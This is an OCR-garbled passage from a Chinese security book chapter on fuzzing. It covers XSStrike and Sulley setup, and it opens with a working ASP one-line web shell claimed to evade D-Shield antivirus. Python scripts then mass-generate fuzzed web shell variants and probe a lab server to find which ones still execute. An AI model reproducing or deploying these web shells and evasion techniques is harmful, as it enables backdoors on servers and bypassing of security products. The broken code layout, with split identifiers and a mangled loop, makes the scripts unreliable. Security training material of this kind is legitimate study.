模糊测试的思路和技术在各个方向都可以运用,在Web Shell中也可以通过模 糊测试来进行测试。通过有效的模糊处理可以将Web Shell中的特征消除,提升渗 透过程中Web Shell的可利用性。
首先我们写一个免杀绕过D盾的代码:
<% a = request("value") eval+a %> | ||
主要思路是将Web Shell和参数传递变形来实现免杀。接下来要在此基础上对 这个免杀Web Shell进行加工,做成模糊测试的升级版。思路是这样的:在模糊测 试点插入ASCII值为0~255的字符,以十进制数字命名,批量生成脚本。 1)导入需要用到的模块,此脚本只需用到os模块即可: | ||
#!/usr/bin/env # coding:utf-8 import os | python | |
2)创造一个方法,用generate来加工先前的免杀一句话木马加工,在其中增 加模糊的参数: | ||
def generate(count) : template = """ <% a = request("value") eval{0}a %>""" .format(chr(count)) with open(os .path.join(path, "fuzz_{} .asp" .format(count)), 'w ') as f : f.write(template) | ||
3)循环调用方法,遍历0~255的ASCII码,得到结果: | ||
path = r" ./fuzz/" for c in range(0, generate(c) |
256) : |
这样模糊测试的Web Shell脚本就完成了。要测试具体哪些是可以使用的,则 将此脚本生成的模糊测试文件放到Web目录下进行访问查看。批量访问查看接口
import requests | |
for i in range(32,128) : url = 'http://10 .100 .18 .28/1/fuzz_{0} .asp ' .format(i) body_post = { 'value ' : 'value=response .write("attack") '} r = requests .post(url, data=body_post) content = r .text if 'attack ' in content : print (url) print (content) U | |
|
页面返回中带有attack ,则代表Web Shell是可用的。
这里使用的eval{0}a是属于固定点位的测试。除此之外,还有另一种有效的 方法,就是不设置固定的fuzz插入位置,让它遍历所有的位置来生成模糊测试的 Web Shell 。相信你会发现更多的绕过方法。
8.5 模糊测试工具
模糊测试的分类和应用范围十分广泛,这里仅仅介绍了运用模糊测试绕过安 全狗的操作,但在开发工作中,模糊测试基本可以运用于所有测试环节,比如文 件格式的模糊测试。
文件格式模糊测试是一种针对特别定义的目标应用的模糊测试方法。多数情 况下,这些目标的应用是客户端应用,包括媒体播放器、Web浏览器、办公套件 等, 目标应用也可以是服务器中的程序,比如防病毒软件、网关、垃圾邮件过滤 器、邮件服务程序等。文件模糊测试的终极目的是发现应用程序解析特定文件的 缺陷。
2005~2006年,人们发现了许多文件格式解析漏洞,并且这种类型的错误并 未消失殆尽,这让文件格式模糊测试成为一个非常有趣且热门的研究对象。
文件格式模糊测试和其他种类的模糊测试不一样。通常文件格式模糊测试在 一台主机上就能完整地执行。当进行Web程序或者网络协议层模糊测试时,多数 情况下可能需要至少准备两个系统,一个作为被测试的目标系统,一个作为模糊 测试运行测试的系统。因为文件格式模糊测试在单独的一台机器上便可以完整地 进行,所以文件格式模糊测试成为一种很具有吸引力的漏洞发现方法。
对于基于网络的模糊测试来说,在需要测试的目标网络应用中,何时发生了 一个有趣的反馈是非常明显的,多数情况下,服务器将会关闭或者崩溃,并且将 不能继续连接。但是对于文件格式模糊测试,主要是对客户端的应用进行模糊测 试,模糊器将会继续重新开始运行并销毁前一个目标程序应用,因此便不能使用 适用于网络模糊测试的监视机制,那么模糊器便可能无法识别出程序错误崩溃的 情景。所以文件格式模糊测试是比网络模糊测试更加复杂的应用领域。对文件格 式模糊测试而言,模糊器必须监视目标应用程序的每一次执行来发现异常,多数 情况下,方法是使用调试库来动态监视目标应用程序中已经处理和并未处理的异 常反馈。
8.5.1 XSS模糊测试工具XSStrike
XSStrike是一款检测XSS(Cross Site Scripting)漏洞的高级检测工具,集成 了Payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效 载荷并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的 上下文分析来保证有效载荷。除此之外,XSStrike还具有爬行、模糊测试、参数 发现、WAF检测功能,还会扫描DOM XSS漏洞。
XSStrike 的特点如下:
·进行反射和DOM XSS扫描。
· 多线程抓取。
· 背景分析。
· 可配置的核心。
·WAF检测和规避。
· 浏览器引擎集成为零误报率。
·有智能负载发生器。
·有手工制作的HTML和JavaScript解析器。
· 强大的模糊引擎。
·支持Blind XSS。
· 完善的工作流程。
· 完整的HTTP支持。
·来自文件的Bruteforce有效负载。
·有效载荷编码。
·Python编写。
图8-9 下载XSStrike
使用git命令即可下载安装XSStrike ,如图8-9所示。
具体使用说明可以用-h参数进行查询,如图8-10所示。
图8-10 查看帮助
首先来测试一下工具的使用效果。在我们的Web主机上写一个含有XSS漏洞
的页面,看工具能否扫描出来,如图8-11所示。
执行效果如图8-12所示。
图8-11 Web源码
图8-12 Web页面
接下来使用XSStrike进行扫描操作,-u指定扫描的URL路径,如图8-13所示。
可以看到,能够很快扫描出此处存在XSS漏洞,并且能通过模糊测试遍历出 很多XSS语句。有兴趣的读者可以进一步分析一下这个工具的源码。
8.5.2 Sulley模糊测试框架
Sulley是一款模糊测试框架,由Pedram AMINI和Aaron Portnoy设计。
Sulley的主要功能如下:
·观察网络通信并系统地维护相关的记录。
·监视目标应用的状态,并且能够使用多种方法将其恢复到一个好的状态。
图8-13 使用XSStrike进行扫描
·将所发现的错误进行检测、跟踪和分类。
· 并行地进行模糊测试,极大地提高了测试速度。
· 能够自动地确定是哪个唯一的测试用例序列触发了错误。
· 不需要人工干预就可以自动完成上述工作以及更多的工作。
在Windows 10系统下安装Sulley的步骤如下。
1)安装MinGW 。打开下载链接(见公众号链接8-1)进行安装,结果如图8-
14所示。
图8-14 安装MinGW
2)安装Python环境。打开下载链接(见公众号链接8-2)安装该环境。
3)安装git并设置环境变量。打开下载链接(见公众号链接8-3)并安装完成 后,配置环境变量,如图8-15所示。
图8-15 配置环境变量
4)安装pydbg 。输入下列命令下载pydbg:
git clone https://github.com/Fitblip/pydbg .git |
下载完成后,进入下载目录,执行下列命令完成安装: |
>>>python setup .py install |
5)安装libdasm 。打开下载链接(见公众号链接8-4)后,输入下列命令安 装: |
>>>python setup .py build_ext -c mingw32 >>>python setup .py install |
6)验证Sulley 。输入下列命令,下载Sulley: |
git clone https://github.com/OpenRCE/sulley .git |
下载完成后,进入下载目录,执行下列命令完成安装: |
>>>python process_monitor .py |
7)安装Pcapy 。输入下列命令下载Pcapy: |
>>>git clone https://github.com/CoreSecurity/pcapy .git; http://www.winpcap.org/install/bin/WpdPack 4 1 2 .zip |
下载完成后,进入Pcapy下载目录,执行下列命令进行安装: |
>>>python setup .py build_ext -c mingw32 -I "C:\sulley\WpdPack\Include" -L "C:\sulley\WpdPack\Lib" >>>python setup .py install |
8)安装WinPcap 。打开下载链接(见公众号链接8-5)下载并安装。 9)安装Impacket 。输入下列命令下载Impacket:
|
下载完成后,进入下载目录,执行下列命令进行安装: |
>>>python setup .py install |
10)运行network_monitor.py。 进入C:\Sulley\sulley目录执行下列命令,结果如图8-16所示。 |
>>>python network_monitor .py |
图8-16 命令执行结果